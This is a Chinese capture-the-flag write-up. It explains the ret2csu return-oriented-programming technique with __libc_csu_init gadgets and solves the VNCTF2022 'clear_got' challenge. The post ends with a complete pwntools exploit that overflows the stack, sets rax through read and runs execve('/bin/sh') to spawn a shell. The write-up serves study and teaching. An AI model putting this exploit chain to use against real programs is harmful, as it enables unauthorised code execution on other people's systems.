仅供个人学习参考

原理

漏洞来源于_libc_csu_init 这个文件,它原本是用于对程序进行初始化,但是它的一些代码片段可以被我们利用
如图
1

下面我们将0x4007d0 - 0x4007e4的片段称为gadget2,0x4007e6 - 0x4007f4的片段称为gadget1
利用gadget1,我们可以实现:对rbx,rbp,r12,r13,r14,r15传参
利用gadget2,我们可以实现:将r13的值赋给rdx,将r14的值赋给rsi,将r15d的值赋给edi
即我们可以对rbx,rbp,r12,rdx,rsi,edi传参

注意这段汇编

1
2
cmp     rbx, rbp
jnz short loc_4007D0

它的作用是比较rbx和rbp的值,如果二者不相等,就跳转到loc_4007D0这个位置,我们一般不希望它跳转,所以我们一般令rbp=1,rbx=0(因为上一句汇编是add rbx, 1 ,即使rbx的值加1)


补充:r15d和rdi都是r15的低32位部分,区别在于,r15d用于32位模式(指处理器模式而不是操作系统架构!!),rdi用于64位模式,并且RDI可以访问更大的内存空间

1
call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]

ds: 是段寄存器前缀,用于指定数据段寄存器。它表示要访问的数据存储在数据段中。这句汇编代码的意思是call __frame_dummy_init_array_entry - 600E10h这个地址的函数,该地址通过r12+rbx*8计算得出,并且数据存储在数据段中。


利用

VNCTF2022公开赛clear_got

1

2

可以看到存在栈溢出,无binsh字段,无system函数,开启了nx保护
注意这个函数

1
memset(&qword_601008, 0, 0x38uLL);

它将&qword_601008往上0x38大小的数据覆写为0,即下面这段数据
1
发现这段数据是got表的内容,即函数执行到这里,got表的内容就被清空了
于是我们考虑利用系统调用

1
execve("/bin/sh",NULL,NULL)

64位下,其调用号为0x3b
回顾一下:x86_64:syscall调用号存放于rax syscall参数(传参顺序):rdi rsi rdx r10 r8 r9

首先我们要能控制rax,其次往.bss段写入’/bin/sh’,最后分别控制rdi和rsi

如何控制rax?

就本题而言,没有出现’pop rax ret’字段,所以我们要另辟蹊径

*调用 read 函数*
mov rax, 0      ; 系统调用号为 0 表示 read
mov rdi, fd     ; 文件描述符
mov rsi, buf    ; 缓冲区地址
mov rdx, buf_len ; 读取的最大字节数
syscall


*检查返回值*
cmp rax, 0      ; 如果 rax 大于 0,则表示成功读取了字节数
jl error        ; 如果 rax 小于 0,则表示发生了错误
; 在这里可以处理读取的数据

*正常退出*
mov eax, 60     ; 系统调用号为 60 表示 exit
xor edi, edi    ; 退出码为 0
syscall

write同理
可以看出在x86_64架构下,read和write函数的返回值会存放在rax寄存器,所以我们可以利用这两个函数来控制rax


康康gadget
0
一堆r12 13啥啥的,所以我们得利用_libc_csu_init 来构造rop链

在x86_64架构下,main函数的返回值通常存放在寄存器 rax 中,而main函数正常执行最后有return 0,故rax里面已经存放着0,并且read函数的系统调用号刚好是0,所以我们可以直接syscall read

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
# io=remote("node5.buuoj.cn",27990)
io=process("./clear_got")
context(arch='amd64',os='linux')

offset=104
syscall_addr=0x040077E
gadget1=0x04007Ea ## 不能是0x4007e6 即不包括'add rsp, 8'这句汇编
gadget2=0x04007D0
tem_proc=0x600e48 #用ida看到的tem_proc地址是0x0400804,我们利用gdb的search -p 0x0400804 就可以查出指向该地址的地址(为啥要该地址的地址下面会讲)
bss_addr=0x0601060

payload=b'a'*(offset) ##栈溢出
payload+=p64(gadget1) #ret
payload+=p64(0) #rbx
payload+=p64(1) #rbp
payload+=p64(tem_proc+0x8) #r12 使得gadget2中的call指令call的是temproc这个空函数,避免造成影响,0x8 对应 rbx*8 想要用call去跳转到一个地址A,那就必须用一个指向地址A的地址B放到call后面
payload+=p64(59) # r13——>rdx 59为execve 在64位架构下的系统调用号 *读取的最大字节数 ;读取成功后,read函数将返回一个 ssize_t 类型的值,表示实际读取的字节数,即我们这里填入的59
payload+=p64(bss_addr) #r14——>rsi 传参,我们要利用read往bss段写入'binsh' *缓冲区地址
payload+=p64(0) #r15(r15d)——>edi *文件描述符
payload+=p64(gadget2) #ret
payload+=b'B'*8 #覆盖 add rsp, 8
payload+=p64(0) #rbx
payload+=p64(1) #rbp
payload+=p64(bss_addr+0x8) #r12 利用call函数来执行填入到.bss段里的syscall
payload+=p64(0) #r13——>rdx
payload+=p64(0) #r14——>rsi
payload+=p64(bss_addr) #r15(r15d)——>edi
payload+=p64(syscall_addr) #ret,之后程序会进行系统调用read函数 之后rax的值就变成59
payload+=p64(gadget2) #syscall后的ret
io.sendafter('Welcome to VNCTF! This is a easy competition.///\n',payload)
payload=b'/bin/sh\x00'+p64(syscall_addr)+b'\x00'.ljust(59,b'\x00')#往.bss段写入'/bin/sh',这里一定要凑齐59,使得read函数的返回值,也就是让rax变成59
io.sendline(payload)
io.interactive()